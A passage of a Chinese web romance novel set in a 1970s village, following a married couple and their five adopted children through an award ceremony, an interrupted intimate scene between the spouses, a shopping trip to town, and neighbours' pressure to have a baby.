胡同头上有人点了火驱蚊兼照明,郭燕借着光看到谢晚棠通红的眼,努努嘴好意提醒:“眼睛缓缓再回去,下次让你家老傅稍微收一收,给你弄得眼睛都红了,孩子万一问起来不好解释。” 谢晚棠……??? 谢晚棠:“……” 反应过来郭燕说的“弄”是什么意思,谢晚棠脸瞬间烫人,她为了圆在二刚面前说的眯了眼的谎特地伪装的红眼睛,竟然被郭燕误会! 谢晚棠赶紧解释:“没有弄红,就是……眯了眼……” 郭燕朝她使眼色点头:“我懂我懂!” 谢晚棠:“……” 她和傅青山虽然吻得投入,但还不至于到郭燕想得那么激烈,激烈到她都被傅青山弄哭了红了眼…… 但显然郭燕已经先入为主地这么认为了,她再怎么解释也没用了T-T 回家路上,三个小灯泡开开心心,一对热恋小夫妻满脸无奈。 谢晚棠深吸一口气:“二哥,要不从明天开始,家里不吃肉了,攒钱盖房子吧!这是咱家目前的头等大事!” 再没有比这事更迫切的了! 她现在感觉自留地都不安全了。 三个小灯泡闻声不敢说话,他们很想住新房子,但也很想吃肉,就很纠结。 傅青山自然明白谢晚棠的意思:“不用,该吃就吃。” 谢晚棠皱眉:“你想一直像现在这样?” 傅青山当然不想:“我给战友们写了信借钱,房场审批中秋之后就能下来,钱也能凑齐,你放心。” 孩子们自然听不懂两人的言外之意,但字面意思已经足够让他们开心了。 小刚和妞妞欢呼:“又可以吃肉,又可以盖大房子咯!” 二刚啧啧感慨:“自从娘来了,家里的日子真是越来越好啊!” 谢晚棠…… 明明是傅青山在借钱想办法,孩子们居然把功劳归到她头上? 谢晚棠替傅青山道:“是因为你们爹有本事哦。” 二刚却纠正:“爹以前也有本事啊,可我们也没过上好日子,所以娘就是家里的福星!” 小刚和妞妞:“对!娘就是家里的福星!” 谢晚棠:“……” 感觉没有道理,但听起来好像又有道理的样子呢。 被孩子们这样认可,谢晚棠今晚有点郁闷的小情绪一扫而空,她笑着牵起傅青山的手晃道,“二哥,你的宝贝们都向我倒戈了,你有没有点吃我的醋呀~” 傅青山眸光微动,片刻后轻声道:“你们都是我的宝贝。” 所以不会吃醋。 谢晚棠被傅青山这突如其来的情话迷得晕晕乎乎,一个不会浪漫的人,突然认真地看着你,跟你说,你是我的宝贝,哇哦,谢晚棠真的无法形容那一刻自己的感觉,大概比“我爱你”还要甜上三分! 翌日下午,秋收第一波玉米收得差不多了,下工的时候刘秀香通知大家晚上吃完饭来大队部,颁发五好家庭的奖状和奖品,颁奖之后还会放电影,庆祝秋收第一场战斗的胜利。 因为时间紧张,谢晚棠他们家还要上台领奖,晚饭就没有做太多花样,傅青山炒了个韭菜炒蛋,兰兰做的手擀面条,都是一下锅就能熟的,不耽误时间。 就着下饭的韭菜鸡蛋卤子吃完面条,孩子们搬着自己的小板凳,着急忙慌地去占地方,这样一会儿颁奖完看电影的时候,就能有个好位置! 谢晚棠和傅青山对视一眼,两人心有灵犀地空手而去。 六点半,大队部小广场点了煤油灯。 五好家庭的名额一共有三个,除了谢晚棠她们,村里还有另外两户一起上台领奖。 领奖的时候是全家一起上去,除了发一张五好家庭的大奖状,还有5斤白面,2斤猪肉。 孩子们原本对领奖没有太大反应,更期待放电影,如今跟着一起上台,除了奖状,居然还有实实在在的好东西!而且还被全村所有小朋友看着,别提多骄傲了! 颁完奖,刘秀香表扬了三个领奖家庭,又趁这个人人都羡慕的时候,鼓励全村村民:“镇上开会说了,以后五好家庭每年都有,大家都努力过日子,夫妻和睦,家庭和睦,都有机会成为五好家庭!” 傅青山拿着奖状,小刚最近看小人书认识了不少字,摸着奖状上五好家庭四个字问道:“娘,为什么叫五好家庭啊?” 二刚嗐了一声:“这都不知道,家里有五个好孩子的家庭呗。” 谢晚棠:“……” 小刚一听可高兴了:“那这么说,我们也为5斤白面和2斤猪肉出力了?” 看孩子们小小年纪就有对家庭的责任心,谢晚棠笑道:“对,因为咱家有五个好孩子,才拿到了五好家庭哦。” 妞妞贴着谢晚棠的胳膊乖巧道:“妞妞一直做娘的好孩子。” 谢晚棠被小棉袄萌坏了,把人搂到怀里一顿摸摸头宠爱。 颁奖结束,要开始放电影了,村里的小孩子们都排排坐好,他们家的五个好孩子也不例外。 谢晚棠和傅青山对视一眼,傅青山对孩子们道:“我们把东西和奖状先送回去,一会儿回来,兰兰看好弟弟妹妹,好好看电影,别乱跑。” 兰兰点头,三个小的也保证不乱跑。 两人抱着东西往家走的时候,发现郭燕和她对象也往家走,身边也没带小虎子。 郭燕朝她眨眼,谢晚棠怕这个老司机再语出惊人,尴尬地笑笑,赶紧拉着傅青山加快脚步溜了。 到家,谢晚棠走在前面,傅青山在后边关上大门、家门、炕间的门。 三道门全部落锁,谢晚棠才彻底放下心来。 可能房子盖起来之前,这样安全的独处机会都很难得了,谢晚棠格外珍惜,一分一秒都不想错过,接着月光直接上手去解傅青山的衬衣扣子。 傅青山穿衬衣西裤很帅,但有些时候,还是不穿更帅! 傅青山怔了下,衬衣扣子已经被谢晚棠解到底,他顺势脱了衬衣扔到一边,一把抱起小手乱摸的人儿上炕,小心地把人压在身下,肆意地亲吻斯磨…… 谢晚棠脱了他的衬衣还嫌不够似的,一双小手掀起他的背心,兜头给他全部脱掉,然后肆无忌惮地在他后背、胸口、后腰、小腹处摩挲……好像要一点一点打破他的底线般,越来越往下…… 被谢晚棠撩拨的,亲吻都不够,他掌心发痒,想紧紧地抓住什么才满足。 犹豫片刻,他试探地伸手,摸索着找到谢晚棠胸前的斜扣,笨拙又着急地解。 就连月光都会偏爱美人,大片柔美的光影落在她白皙起伏的皮肤上,勾得他掌心要起火一般难耐。 和她对视一眼,她羞涩地偏过头去,像是默认此刻他可以对她为所欲为。 得到允许,他不再忍耐,试探着伸手…… 那是他自己的身体没有的奇妙触感,带给他粗糙的掌心从未有过的撩人体验,如过电般传遍全身,激得他全身的血液疯狂跃动。 谢晚棠躺在炕上,虽然第一次有点害羞,但还是享受更多。 傅青山的掌心里都是厚厚的老茧,摩挲她最娇嫩柔软的皮肤,她忍不住哼唧了两声,就感觉傅青山呼吸又沉重了几分。 反应过来大腿上的结实触感是什么,谢晚棠惊喜:“二哥,你可以?!” 所以真的只是如她推理那般,只是不能传宗接代而已,但不影响做别的! 第49章 棠棠,我想。 谢晚棠以前就喜欢在网上云养娃,看着别人家的宝贝咿咿呀呀、可可爱爱的样子,简直能被萌化。 不过她对亲自养育一个孩子倒是没有什么执念,就是有也很好,是人生的一种奇妙体验,但如果没有也没关系,她人生想做的事情很多,并不执着于此。 而且,她现在还有了五个这么懂事可爱的孩子,都已经无痛当妈了,对这事就更无所谓了。 她之前甚至都想过,就算最差的情况,傅青山不仅不能生育,还不能举,那她也可以接受。 因为傅青山在其他方面对她的好,足可以弥补这一点,哪有那么十全十美的人呢,而且大不了傅青山可以用手伺候她咯,再者说改革开放以后西方文化涌入国内,性文化也会越来越开放,到时候小玩具什么的,也不是不可以哦。 在这方面,谢晚棠还算想得开。 当然了,这些都是退而求其次。 傅青山自己就能行,那简直是再好不过!于她而言,这已经足够足够! 傅青山闻声皱眉,原本肆意乱摸的手都跟着顿住。 谢晚棠大腿下意识动了下,蹭得他浴。火更盛。 夫妻是最亲密的关系,他自然明白谢晚棠话里是什么意思,他也不觉得夫妻之间聊这方面的问题尴尬。 只是,为什么她的语气那么惊讶? 男人有这方面的反应不是很正常的事? 如果他没反应,她才该惊讶吧。 犹疑片刻,傅青山突然想到,他是男人,自然了解男人的身体,但谢晚棠是女人,而且还是第一次,她怎么可能了解男人的身体反应,就像他从来不知道女人的胸比棉花还要柔软一样。 所以,谢晚棠的惊讶似乎也完全在情理之中。 想明白缘由,傅青山“嗯”了声。 谢晚棠闻声更加开心:“真是太棒了!没想到完全不影响使用!” 傅青山:“什么?” 谢晚棠…… 这是什么虎狼之词!她怎么就脱口而出了! 而且傅青山本身这方面有问题肯定就对这种问题格外敏感,她着实不该在他的底线上蹦跶! 谢晚棠轻咳一声:“没什么!” 怕傅青山再问,谢晚棠伸手轻轻勾住傅青山的脖子,稍一用力,把他拉近,闭上眼睛,主动吻了上去,堵住他的唇,不给他说话的机会。 接下来的时间,傅青山确实都没有再说话,也忘了刚才要问谢晚棠的问题,小夫妻肆意深吻,与黑夜一同沉沦…… 傅青山那里越来越热,隔着两层衣料也如烙铁般滚烫,连带着他的呼吸也跟着烫人,他忽然极力忍耐般趴在她胸口,如撒娇般低声哀求:“棠棠,我想。” 谢晚棠自然也想,但更想逗逗他,轻轻摩挲着他的脊背,语气诱惑:“想什么?” 话落,她感觉傅青山的呼吸更重了,却少有的没有回答她。 谢晚棠也燥热难耐,不比傅青山好到哪儿去,但平时傅青山冷淡成熟,只有这种时候可以欺负一下,她又想跟他玩玩。 于是不轻不重地抓了下他的头发:“嗯?” 傅青山深吸一口气,从她胸口处抬头,月色下直直地盯着她,渴望的眸光如饥饿的头狼,磁性低沉的声音发颤:“我想和你睡觉,我想,狠狠的,狠狠的弄你!” 说罢,傅青山竟低头张嘴含住她那里,狠狠地吸住,那里本就敏感,谢晚棠被他毫无章法的肆意亲吻弄得招架不住,那是一种撩拨到顶峰却不给与宣泄的快感,让她全身燥热到几乎要爆炸。 她呼吸都乱了,抱住傅青山的脖子,在他耳边轻声邀请:“你去洗一下,我等你。” 得到允许,傅青山怔了下,似终于可以解脱般长舒一口气,如释重负道:“好。” 他几乎是以行军打仗紧急集合的速度迅速起身下炕,凭着记忆中感觉的位置着急地打开炕间的门,家门。 谢晚棠躺在炕上,听着天井里传来压井的声响,频率快而有力,显然主人心急如焚。 谢晚棠低笑,没想到傅青山平日里一副沉稳老干部样,也有这么急不可耐的时候。 “青山?” 讨厌的声音突然响起,谢晚棠坐起来,透过窗棂看到傅老太站在傅青山面前。 “娘,什么事?”傅青山的语气听着都没耐心,也是,这种时候,别说亲娘了,就是天王老子来了估计他也没耐心。 傅老太也不说什么事,拉着傅青山就要往屋里走:“老二,进去说。” 谢晚棠惊得赶紧手忙脚乱系扣子,谁能想到好不容易孩子不在家一次,结完婚从来没来过的傅老太居然破天荒过来了! 她着急忙慌地系完最后一个扣子,就听着傅青山对他娘道:“去您那边说吧。” 听着母子俩的脚步声越来越远,谢晚棠长舒一口气,她不愿意见傅老太,更不愿意在这种情况下见傅老太。 警报暂时解除,谢晚棠刚刚被吓了一跳,之前撩拨起来的那点情绪早就烟消云散,现在只能躺在炕上透过窗棂数星星,等傅青山回来。 傅青山跟着傅老太来到正屋,就他们两个,傅青山也不上炕,站在炕前:“什么事?” 傅老太拉着他坐下,还给他倒上一碗水让他喝。 傅青山:“……” 他现在哪里还有心喝水,努力保持耐心:“娘,到底什么事?” 傅老太摇头叹气,在她对面坐下:“还不是你妹妹的事,你妹妹眼看着都20了,我看你们这三个哥哥分了家,都光顾着老婆孩子热炕头,没有管她的了。” 傅青山皱眉,相亲这些事本来都是女人们张罗的事,就算不分家,也没有哥哥去替妹妹张罗的道理。 傅老太吸吸鼻子:“我一个老妈子,天天待在家里洗衣服做饭,也不认识什么年轻人,她那三个嫂子也没个替她操心的,上回我跟你说让你给你妹妹从城里找个对象,也把你惹恼了,我现在是天天愁得睡不着觉。” 傅青山:“我没恼。” 傅老太闻声喜上眉梢:“那你是愿意帮着你妹妹物色对象了?” 傅青山:“有合适的我自然没有不管的道理,但如果您只是一心想让青宁嫁进城里,那恐怕很难。” 傅老太闻声拉下脸来。 傅青山不管他娘高不高兴,既然说了,索性就说开:“青宁既没有文化,又没有城镇户口,没有户口就解决不了工作,没有工作粮食关系就没有着落,镇上的职工不种地,买什么都需要花钱花票,青宁就算硬着头皮嫁过去,也免不了遭冷脸。她是我亲妹妹,我不愿意她过得好吗?但我说的这些,都是非常现实的问题,人不能异想天开。” 傅老太见傅青山态度坚决,于是只得退而求其次:“那你帮着物色看看这几个村有没有条件好的,你也知道你妹妹从小娇生惯养的,过不了苦日子。” 傅青山叹气:“我看看吧。” 说完傅青山就要走,傅老太拉住他,再三叮嘱:“老二,这是你妹妹的大事,你一定要当个事啊!” 傅青山嗯了声,在傅老太再次开口念叨之前,转身出门,步履飞快地走到东屋天井,把压好的井水搬进当门,迅速洗完,用毛巾擦干,插好家门进了炕间。 谢晚棠躺在炕上叹了口气:“什么事啊,我等得花儿都谢了……” 傅青山何尝不是,一边上炕一边道:“青宁的婚事。” 谢晚棠哦了声:“又让你给她找城里对象?” 傅青山:“我说了不行,说让我帮着从邻近几个村找个条件好的。” 谢晚棠还要再问,被傅青山扑上来压住,轻咬了下她的唇:“时间不早了,不要说话了。” 谢晚棠闻声抿唇,也是,再不快点,孩子们电影都要看完了。 这个年代的电影可不像21世纪的那么长,都是主打一个短小精悍。 被傅老太这么一打断,刚才酝酿起来的情绪全没了,傅青山耐心地轻轻舔舐她的耳垂、唇角、脖颈……一路往下,一边解她的扣子,一边朝下吻去。 吻到小腹的时候,谢晚棠下意识收腹颤栗,轻哼一声,伸手抓住傅青山刺手的头发。 身上的人像是得到鼓励,使出百般花样撩拨她,直到她举手投降,攥着他的头发催促:“快点。” “嗯。”傅青山得到允许,伸手褪去她的外裤,如剥鸡蛋一般一层一层将她剥干净。 握着她的脚踝,箭在弦上,却听到外边大门晃动的声响。 谢晚棠……?? 下一秒外边传来二刚的声音:“哎?爹娘没在家?怎么锁着门?不对啊,门是从里边锁的,爹娘在家里!” 门又晃了两声,二刚对大刚道:“爹娘好像没听见,哥,要不你爬进去吧。” 谢晚棠……!!!! 谢晚棠一个激灵翻身坐起来,傅青山迟疑片刻,动作比她更快地套上衬衣裤子,下炕穿鞋,出去开门。 谢晚棠抹黑着急忙慌找到自己丢的到处都是的衣裳穿上,下炕点上蜡,努力平复嘭嘭狂跳的心,故作平静地走出当门,二刚他们搬着凳子回来了。 二刚好奇地问傅青山:“爹,你和娘在家怎么还反锁门?” 傅青山本就冷硬的脸此时臭到底掉,一句话都不想说,和谢晚棠对视一眼,还是耐着性子冷冷道:“我在家洗澡。” 二刚啊了一声:“爹你洗澡锁什么门啊?” 傅青山深吸一口气:“嗯,我不该锁门,我该到大街上洗。” 兰兰和大刚:“……” 二刚……???? 第50章 二哥,我不想生孩子。 爹虽然说话的语气和平常没什么区别,但二刚就是听着有股阴阳怪气的味呢。 爹也会阴阳怪气? 二刚感觉爹有点不对劲,但他又说不上来是哪里不对劲。 难道他说得不对吗?以前爹夏天还带他和大哥去河里洗澡呢,河里可没有门,还不是一样洗,怎么在家里洗个澡就得反锁门了? 兰兰到底比二刚大几岁,而且她又是女孩子,心思细腻很多。 爹平常性子冷,但跟娘在一起的时候,脸色一般都很和缓的,她都能感觉到爹那种轻快的情绪。 但今天不一样,爹看起来比平常还冷,娘也不像平常那么自然活泼。 如果只是关上门洗个澡,两个人不应该是这个反应啊。 确实很不对劲。 兰兰微微皱眉,走到谢晚棠身边,低声关心:“娘,爹跟您吵架了?” 谢晚棠……?? 二刚一听,下意识朝傅青山瞪了一眼,跑过来问她:“娘!爹欺负您了?!他怎么欺负您的?娘您放心,我们保证不偏袒爹,大义……大义什么来着?哦,对!大义灭亲!” 小刚和妞妞不大懂什么是大义灭亲,但一听二哥说娘被爹欺负了,也跟着跑过来站在她身边,跟着二哥要大义灭亲。 谢晚棠:“……” 傅青山被误会+众叛亲离,身边只剩了大刚,当然大刚也不是跟他一队,大刚就只是话不多…… 谢晚棠看傅青山一脸又憋又郁闷的样子,真是哭笑不得,替他跟孩子们解释:“爹怎么会欺负我呢?没有哦。” 二刚皱眉:“真的?” 谢晚棠点头:“当然,你们什么时候见过爹欺负我?” 这倒是没有。 他们平时也都是亲眼看着爹疼娘的。 兰兰放下心来:“那爹是怎么了?看着一脸的不高兴。” 爹一般喜怒不形于色的。 呃…… 这还真把谢晚棠给问住了,也没法跟孩子解释你爹一晚上憋两回,实在是没法高兴起来。 傅青山深吸一口气走过来:“单位的事。” 谢晚棠也赶紧跟着点头:“对对对,你爹工作上的事,你们不用担心。” 听两人都这么说,孩子们才半信半疑地洗漱洗脚上炕睡觉。 傅青山还是最后一个吹蜡上炕,躺下后叹了口气,无法形容今晚的心情。 二刚嗐了声:“爹,别烦了,一觉睡起来又是新的一天!嘿!” 谢晚棠听着二刚小大人一般的阳光语气,没忍住笑出声。 傅青山:“……” 谢晚棠笑着握住傅青山的大手,轻轻用力捏了捏他的骨节,给他一点安慰,傅青山翻了个身面对她,突然靠过来…… 谢晚棠吓一跳,以为傅青山忍不住要背对着孩子跟她偷偷摸摸这样那样,屏住呼吸一动也不敢动,这风险会不会有点高啊,怎么感觉这比野战还刺激! 谢晚棠下意识闭上眼睛,纠结该不该拒绝,下一秒,一个温柔的吻落在她眉心,声音里带着一点无奈和疲惫:“睡吧。” 谢晚棠:“……” 如果挖出来她的心看看,她的心肯定不是红的,绝对是黄的! 她一天天都在想些什么啊! 关键是当时想的时候都觉得那么理所当然…… 幸好是黑夜,她红着脸点头:“睡吧睡吧……” 使劲把脑子里的黄色废料甩出去,努力想些干净的事,对,她得早点睡,明天周末,地里玉米收得差不多了,女人们休息1天,男人们明天去收收尾,她和玉秀约好了陪她去镇上买布的…… 翌日。 谢晚棠醒来的时候早饭都做好了,她一起来,妞妞就跑过来跟她说,爹用昨晚大家一起挣回来的白面做的疙瘩汤。 谢晚棠抬眼去看傅青山,果真如二刚所说,睡一觉起来又是新的一天,傅青山已经调整好情绪,脸上不再有昨晚的憋闷和不耐。 谢晚棠笑着抬手摸摸妞妞柔软的发丝,对孩子们道:“那我们继续加油,争取明年还能一起上台领奖!” 除了大刚性子比较闷,其他孩子都很支持她,齐声说好。 疙瘩汤就着黄瓜拌虾仁,早餐顺利光盘。 吃过早饭,谢晚棠让傅青山把猪肉切开分成两份,一份半斤多的让傅青山中午炒菜用,剩下那份多一点的包包子。 怕傅大嫂用不惯她家的工具和锅灶,谢晚棠出发去镇上前和兰兰把面袋子、猪肉和菜给傅大嫂送过去。 傅大嫂一看谢晚棠要直接用白面包包子,惊讶又心疼:“全用白面?要不掺点玉米面?” 傅大嫂上次包的素包子是用二合面包的,她手艺好调的馅好吃,用二合面包的也好吃。 但是难得吃顿肉包子,谢晚棠还是想尽兴一点:“就白面吧大嫂。” 是给谢晚棠包,傅大嫂自然没意见:“行,那我上午发上面,下午包了蒸上。” 谢晚棠不光要用白面包包子,而且还要包一半肉的,一半素的,傅大嫂自然是按着谢晚棠的要求来没问题。 就是有些感慨,以前傅青山的工资交过来的时候,都是婆婆把着,就算有钱,家里没这样放纵地吃过好东西。 现在傅青山把工资交给谢晚棠,谢晚棠的日子过得真是有声有色。 不过她虽然羡慕,但并不嫉妒,她相信她和傅大哥好好挣,虽然过不上谢晚棠家那么奢侈,但日子也会越来越好! 谢晚棠还把给立春做好的衣裳也一并捎了过来,傅大嫂把立春叫进来穿上试,6岁的小姑娘穿上一身红色立整的小衣裳,一下子就精神起来,再不是以前破破旧旧的小萝卜头样。 立春高兴得转圈看自己,恨不得连自己后边什么模样都能看到才好! 谢晚棠弯腰把袖口和裤腿翻出来给傅大嫂看:“小孩长得快,我怕做小了明年穿不上浪费,里边都留了一寸,明年短了你可以给立春放出来,这样不用拼颜色,还好看。” 傅大嫂别提多高兴了,直点头:“好好好,还是弟妹你手巧又聪明,立春,还不快谢谢二婶,给你做这么好看的衣裳。” 立春高兴地仰头看着谢晚棠,甜甜道:“谢谢二婶。” 谢晚棠笑着摸摸立春:“好看的,去玩吧。” 立春走后,傅大嫂感慨谢晚棠干活快,白天还得上工,还能这么快做出来。 谢晚棠笑笑:“不是我快,是缝纫机快。” 傅大嫂真心羡慕:“老二有本事,才能给你买这么好的东西!” 说着傅大嫂又拿出来1块钱给谢晚棠,让她给傅大哥捎块做秋天衣裳的料子回来,谢晚棠点头收下,“剩下的我再拿回来。” 安排好晚上的大包子,谢晚棠和兰兰回东屋换衣裳准备出发。 两人换上之前一起买的的确良做的鹅黄色和浅蓝色布拉吉,穿上皮鞋和白袜子,从家里一出来,俨然一对清新的姐妹花。 布拉吉平常干活穿不方便,做好了以后,两人还是第一次穿,傅青山和三个刚被美到怔住。 傅青山和大刚性格沉稳,不善言辞,二刚和小刚简直用尽了肚子里的墨水,把他们知道的溢美之词全用上了。 妞妞之前穿过粉色布拉吉,如今看娘和姐姐穿,她也进屋翻出来自己的粉色布拉吉换上。 谢晚棠一手牵一个女儿走到傅青山面前,偏头一笑,朝他眨眼:“二哥,我们好不好看呀?” 傅青山看着像灵动的小黄鹂一样的她,喉结动了动,点头,片刻又补充了句:“好看,像仙女。” 嘴上这么说,而他心里想的却是,想把她美丽的外衣脱掉,狠狠地弄她比外衣更美丽的身体。 谢晚棠闻声扬起唇角,小公主一般优雅地提了下裙摆:“谢谢二哥的盛赞~” 转头对妞妞道:“大仙女和二仙女要出发去采购了,我们小仙女是要跟哥哥们玩还是去找立春玩呀?” 被叫仙女,妞妞哇偶一声,也学着谢晚棠的样子提了下裙摆:“小仙女要和小哥立春一起去找小虎子玩!” 去玉秀家可以顺道路过郭燕家,谢晚棠就推着车子,把三个小的一起送过去。 一路上,三个穿布拉吉的大小仙女,再加上干干净净的小刚和穿着红色新衣裳精神的立春,直接起到了炸街的效果,所经之处,无不引人惊讶赞叹。 当然也少不了嫉妒说酸话的,说她不过日子,结了婚还这么能浪什么的…… 不过谢晚棠才不在乎,这种见不得别人好的人哪里都有,如果被她们说几句酸话就影响了,那日子不用过了。 她们越是酸,谢晚棠越是自信地扬起下巴,带着她的宝贝们昂首阔步。 哼,气死你们才好哈哈哈! 把三个小的送到郭燕家,郭燕一看到她们母女三个同款的布拉吉,对衣服喜欢得爱不释手,对闺女也馋得不行。 谢晚棠笑:“布拉吉好说,明天一入夏就给你做一身,想要闺女我也帮不上忙,你得自己努力咯~” 郭燕老司机对生闺女的事倒是不害羞,只是叹气:“哎,老了,三十多岁的人,没法穿这么娇俏的小裙子了。” 谢晚棠纠正她:“郭队长,每个年纪的女*人都有每个年纪的美哦,三十多岁也有三十多岁的味道,布拉吉也可以穿出风韵犹存的感觉哦。” 郭燕被她逗得哈哈大笑,戳着她脸蛋说她贫嘴调戏姐姐。 时间不早了,谢晚棠跟郭燕聊了几句,骑上车子带着兰兰出发,玉秀为了买布做新衣裳昨天就迫不及待了。 果然,刚拐过弯,就看到玉秀推着车子已经等在胡同口了,旁边还站着她大嫂何春月。 谢晚棠上工的时候见过何春月几回,不过她和何春月接触不多,看着是那种温和脾气不错的性格。 谢晚棠一停下车子,玉秀看看她的鹅黄色布拉吉,又看看兰兰的浅蓝色布拉吉,啊啊啊地尖叫。 玉秀摸摸谢晚棠的布拉吉袖口:“嫂子!你做的布拉吉太好看了!我也要做布拉吉迎新嫂子的时候穿!” 谢晚棠笑笑:“好啊,反正大娘不是给让你买的确良嘛,那就做一身咯,虽然今年穿不了多久了,但可以留着明年相亲穿啊!” 玉秀脸唰一下红了,小声哼哼了句:“说什么呢嫂子!” 何春月和谢晚棠对视一眼,两人同时笑了,小姑娘嘛,谈婚论嫁的事害羞很正常。 四个人正好骑两辆自行车,何春月在家里是大嫂,这个年代长嫂如母,傅大娘年纪大了,就把老二傅青林结婚采买的事交给何春月来操办,她就帮着何春月照看着孩子。 何春月嫁过来有两年,有个一岁出头的儿子,路上跟谢晚棠聊熟络了,便问谢晚棠打算什么时候要孩子,要几个孩子。 谢晚棠:“……” 谢晚棠礼貌笑笑:“暂时没这个打算。” 结婚前,村里都议论傅青山不行,她嫁过去也是守活寡。 刚结婚那几天,因为王寡妇误会出去乱传的,人人都觉得傅青山不行是谣言,现在一个个都来她这催生。 问题是,傅青山虽然干那事行,但要孩子是真不行啊。 但这事她不能解释,她和傅青山是一体的,维护傅青山作为男人的体面和自尊心,是她作为一个妻子应尽的义务! 何春月惊讶:“啊?不要孩子?那你们怎么过日子?” 谢晚棠耸耸肩:“生孩子跟过日子有什么关系?日子该怎么过就怎么过啊,我们家孩子多,就算不要也很热闹啊。” 热闹得傅青山脸都快憋青了呢,一点时间和空间都不给他。 何春月还是很难理解:“可是不生个亲生的孩子,怎么能栓得住男人呢?” 来自21世纪的谢晚棠也很难理解:“生个孩子就能拴住了?那男人也太好拴了吧,比拴裤腰带还容易呢。” 玉秀闻声噗嗤一声笑了:“我觉得嫂子说得很有道理。” 何春月:“……” 她难以接受,但还真没法反驳。 谢晚棠:“而且家里的孩子虽然不是我亲生的,但都很可爱啊,好孩子不分亲不亲生。” 何春月彻底没话说了,催生话题半途而废。 听着谢晚棠和春月婶子的聊天,兰兰心里越发佩服后妈,她不是人前做戏,她对他们这些并非亲生的孩子真的很用心,而且她对男人、对婚姻的态度真的很豁达。 她很想活成谢晚棠的样子。 四个人先去了供销社,玉秀满心都是漂亮的的确良,谢晚棠帮她参谋了一件粉底白格线的的确良,按照她的身形扯了一块料子。 又给傅青林扯了一块黑色,一块白色的的确良料子做衬衣裤子,领证拍结婚照和结婚当天都可以穿。 新郎官皮鞋自然也要来一双,不过预算有限,就买了双最便宜的5块的,配双白袜子。 谢晚棠又和何春月一起挑了结婚要用的脸盆、暖壶、毛巾、烟酒、茶果等杂七杂八的琐碎小物件。 办完大事,谢晚棠才开始采购她自己要买的东西。 下个周开始要收花生和大豆,花生收了都要打油的不能分,大豆收了留一部分交公,剩下的分到每家每户,这个年代流行磨豆子做小豆腐,没有肉的年代,分点豆子也算是开荤了。 不过谢晚棠不喜欢吃小豆腐,她喜欢吃嫩嫩的卤毛豆! 要卤毛豆就得有调料,她今天来的主要目标就是调料——桂皮、香叶、花椒、八角,全部都要! 大料味道重,隔着牛皮纸包装袋,都能闻到刺鼻的味道,玉秀嗅嗅:“嫂子,你买这些干什么?” 谢晚棠付过钱后道:“做好吃的呀。” 玉秀半信半疑:“这味这么冲,能好吃吗?” 谢晚棠笑:“等着做好了给你尝一尝你就知道什么叫上头了。” 兰兰虽然也觉得这些大料的味不太好闻,但是娘虽然不会做饭,但做饭的事听娘的,好像从来就没错过。 从供销社出来,她们大包小包装满了车筐车把,直奔黑市去买土布。 何春月给傅青森扯了块料子,谢晚棠自己之前囤的土布还没用完,估摸着昨晚秋装够了就先没买,只给傅大嫂捎着。 虽然傅青山说给战友写信借钱了让她放心,她还是想着能省点就省点,现在什么都不能超越她对盖大房子的渴望。 买完布料,她又来到卖鸡蛋的老大娘那儿买上30个鸡蛋,她和傅青山是大娘的大客户老客户了,大娘都认识他们,这次多送了她1个鸡蛋,还笑眯眯问她:“结婚这么久了,怀孕没?” 谢晚棠:“……” 这波催生来的更是猝不及防,毫无准备=_= 还是第一次来买鸡蛋的时候,大娘问他们是不是刚结婚的小两口,她点头说是。 他们结婚到现在也就不到一个月,就算结婚很久了吗? 谢晚棠笑着摇头。 大娘道:“你要是怀孕了跟我说,鹅蛋我也卖,吃鹅蛋去胎毒!” 谢晚棠:“……” 吃鹅蛋去不去胎毒她不知道,但她知道她不会怀孕…… 赶紧给了钱从大娘这儿逃离,谢晚棠长舒一口气,把鸡蛋放兰兰怀里让她抱着。 谢晚棠感觉人真是锻炼出来的,还记得第一次骑自行车的时候,脚底板都差点磨破皮,现在地里活干多了,人都皮实了,她不仅能骑来,感觉骑回去也没问题呢! 何春月看了眼兰兰怀里的鸡蛋,惊讶道:“嫂子,你怎么买这么多鸡蛋?” 玉秀嗨了声:“还不是俺二婶子抠门,分家分给俺嫂子只不下蛋的老母鸡,嫂子新抓的小鸡下蛋还得些时候呢,她们家那么多孩子,就只能买着吃咯。” 谢晚棠点头,是这样。 何春月还是很震惊:“那买这么多,得吃到什么时候啊?” 谢晚棠看了眼那包鸡蛋,很多吗? “呃——半个月?” 她不敢说一个周,特地往长了说,还是吓得何春月倒吸一口气:“怪不得你不想要孩子呢,真是养不起啊。” 谢晚棠:“……” 倒也不是养不起。 但她觉得不解释也好,就让何春月这么认为吧! 谢晚棠到家的时候,傅青山已经做好饭了,白菜粉条肉,大葱拌虾皮,烀饼子。 孩子们帮着把饭菜和碗筷拿上桌,一家人围一起吃午饭,其乐融融。 吃完饭,傅青山出去刷碗,大刚在家听着二刚的指挥贴五好家庭的奖状。 谢晚棠拉了个板凳坐在傅青山身边看着傅青山刷碗,无语地摇头苦笑:“二哥,最近也不知道是怎么了,一个个都来跟我催生,先是刘主任,然后是郭队长,今天去的路上,玉秀她大嫂还问我要生几个,最搞笑的是买鸡蛋的时候,就那个卖鸡蛋的大娘突然问我怀孕没,给我都问蒙了,后来跟我说怀孕了可以找她买鹅蛋,原来是定制化推销呢哈哈哈” 傅青山一边刷碗一边安静地听,也不打断,直到她说完笑得前仰后合,他才问:“那你想生几个孩子?” 闻声,谢晚棠的笑戛然而止。 她想要几个孩子?如果要生,那肯定是生一个最好啊,把全部的爱都给她。 但这事的关键不是她想要几个啊,是傅青山生不了啊! 傅青山这么问,是不是想试探她想要孩子的意愿有多强烈啊。 傅青山没有生育能力,肯定在这方面自卑,她如果表现出来很想要孩子,那傅青山肯定得挺难受的。 但如果自己表现得不在意,他是不是就会放松很多? 而且她本身就是不在意,夫妻感情跟有没有孩子无关,而且他们都已经有五个孩子了,她感觉现在的生活也挺好的。 谢晚棠扬起唇角笑着看向傅青山:“二哥,我不想生孩子。” 50-60 第51章 你不想有个我们俩的孩子吗? 傅青山闻声怔住,不可思议地看着谢晚棠:“你不想有个我们俩的孩子吗?” 谢晚棠的反应的确在他意料之外。 他一直对团长的五个孩子视如己出,但自从对谢晚棠产生了情愫,他也会期待和谢晚棠有一个他们俩的孩子,甚至会希望小孩像谢晚棠多一些,肯定很好看。 但谢晚棠说,她不想生孩子。 傅青山有点不理解。 傅青山很少表情这么丰富,大概是绝对没想到她会给出这个回答。 毕竟这个年代连计划生育都还没有,大家都不避孕,更没有优生优育的概念,每家生两个三个都是很平常的事,甚至生四个五个都不惊奇。 他们家就是个例子,团长和媳妇去世前,就已经生了五个孩子了。 